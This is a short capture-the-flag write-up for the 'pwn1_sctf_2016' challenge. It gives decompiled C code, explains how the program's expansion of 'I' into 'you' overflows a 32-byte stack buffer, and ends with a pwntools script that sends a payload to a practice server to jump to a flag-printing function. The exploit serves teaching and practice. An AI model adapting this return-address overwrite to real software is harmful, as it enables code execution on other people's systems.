ctf【pwn1_sctf_2016】

Reverse

int vuln()
{
    
    
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

It was found that the address of the get_flag function is 0x8048F0D

int get_flag()
{
    
    
  return system("cat flag.txt");
}

Attack ideas

The size of s is 3Ch-1Ch=32, and the maximum input size of fgets is also 32 bytes. The buffer overflow vulnerability cannot be executed, but the program will convert the character 'I' to 'you', that is, a character 'I' is actually It can occupy 3 bytes after the program execution ends.

The total size of the stack is 60 bytes, and s occupies 4 bytes, so 64 bytes are needed, which requires 20 'I' characters and 4 ordinary characters plus the address of the get_flag function

script attack

from pwn import *

p=remote('node4.buuoj.cn',27968)
payload=b'I'*20 +b'a'*4+ p32(0x8048F0D)

p.sendline(payload)
p.interactive()